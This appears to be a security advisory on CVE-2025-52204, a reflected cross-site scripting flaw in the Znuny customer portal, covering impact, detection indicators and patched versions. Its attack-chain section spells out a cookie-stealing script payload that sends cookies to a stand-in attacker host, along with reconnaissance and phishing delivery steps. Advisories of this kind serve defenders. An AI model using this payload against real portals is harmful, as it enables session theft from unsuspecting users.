CVE-2025-52204: 
Linux Debian vulnerability analysis and mitigation

CVE-2025-52204 is a Reflected Cross-Site Scripting (XSS) and HTML Injection vulnerability in Znuny (an OTRS-based IT service management platform) affecting the customer.pl endpoint via the OTRSCustomerInterface parameter. The vulnerability was published on March 23, 2026, and affects Znuny LTS versions 6.5.9–6.5.18 and Znuny 7.0.11–7.2.3. It carries a CVSS v3.1 base score of 6.1 (Medium), though Feedly categorizes it as HIGH severity (Feedly, PoC GitHub).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input via the OTRSCustomerInterface GET parameter — which corresponds to the CustomerPanelSessionName system configuration value — is reflected in the HTTP response without adequate sanitization or encoding. An unauthenticated attacker can craft a malicious URL targeting /otrs/customer.pl?OTRSCustomerInterface=$PAYLOAD (6.5.x) or /znuny/customer.pl?OTRSCustomerInterface=$PAYLOAD (7.x) and deliver it to a victim via phishing or other social engineering. No authentication is required; exploitation only requires the victim to click the crafted link and have access to the public customer-facing interface (PoC GitHub).

Successful exploitation allows an unauthenticated remote attacker to inject arbitrary JavaScript or HTML into the victim's browser within the context of the Znuny application. This can result in session cookie theft, credential phishing via manipulated login interfaces, redirection to attacker-controlled resources, and execution of arbitrary scripts on behalf of the victim. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the vulnerable component itself, though availability is not directly impacted (PoC GitHub, Feedly).

A public proof-of-concept (PoC) is available on GitHub documenting specific request patterns and affected URL paths sufficient to reproduce the vulnerability on real Znuny deployments (PoC GitHub). The vulnerability is also detectable via Nessus plugin 303896 (Tenable). The EPSS score is approximately 0.017% (0.000170), indicating a low but non-zero probability of exploitation in the near term. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (Feedly).

1. Reconnaissance: Identify publicly exposed Znuny customer portal instances using search engines (e.g., Shodan, Censys) or by browsing to /otrs/customer.pl or /znuny/customer.pl on target hosts. Confirm the version falls within 6.5.9–6.5.18 or 7.0.11–7.2.3.
2. Craft malicious URL: Construct a GET request URL with an XSS payload injected into the OTRSCustomerInterface parameter, e.g., /otrs/customer.pl?OTRSCustomerInterface=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> for 6.5.x, or /znuny/customer.pl?OTRSCustomerInterface=$PAYLOAD for 7.x.
3. Deliver to victim: Send the crafted URL to a target user via phishing email, social media, or other social engineering channels, enticing them to click the link.
4. Payload execution: When the victim loads the URL in their browser, the server reflects the unsanitized parameter value in the HTML response, causing the injected JavaScript to execute in the victim's browser within the Znuny application context.
5. Achieve objective: The attacker can steal session cookies, capture credentials entered on the manipulated login page, redirect the victim to a phishing site, or perform actions on behalf of the authenticated user (PoC GitHub).

• Network: HTTP GET requests to /otrs/customer.pl or /znuny/customer.pl containing URL-encoded script tags, HTML entities, or JavaScript keywords (e.g., <script>, onerror=, javascript:) in the OTRSCustomerInterface query parameter.
• Logs: Web server access logs showing unusual or encoded values in the OTRSCustomerInterface parameter, particularly requests originating from external IPs or automated tools; repeated requests with varying payloads suggesting fuzzing activity.
• Network: Outbound connections from victim browsers to unknown external domains shortly after accessing the Znuny customer portal, potentially indicating successful cookie exfiltration or redirect.
• Logs: Application logs showing malformed session name values being processed by customer.pl that do not match expected alphanumeric session name patterns (PoC GitHub).

The vendor has released fixed versions addressing this vulnerability: Znuny LTS 6.5.19 and Znuny 7.3.1. Administrators should upgrade to these versions as the primary remediation. As interim measures, consider restricting public access to the customer-facing interface where operationally feasible, deploying a Web Application Firewall (WAF) to filter XSS payloads targeting the OTRSCustomerInterface parameter, and monitoring requests to customer.pl for anomalous input. Note that configuration changes alone (e.g., renaming the CustomerPanelSessionName value) do not constitute a full fix (PoC GitHub, Feedly).

Red Hat has tracked this CVE in their security advisory database, indicating awareness within the enterprise Linux ecosystem (Red Hat). Tenable added detection support via Nessus plugin 303896, enabling automated scanning for vulnerable Znuny instances (Tenable). No significant broader media coverage or notable researcher commentary beyond the PoC disclosure has been identified at this time.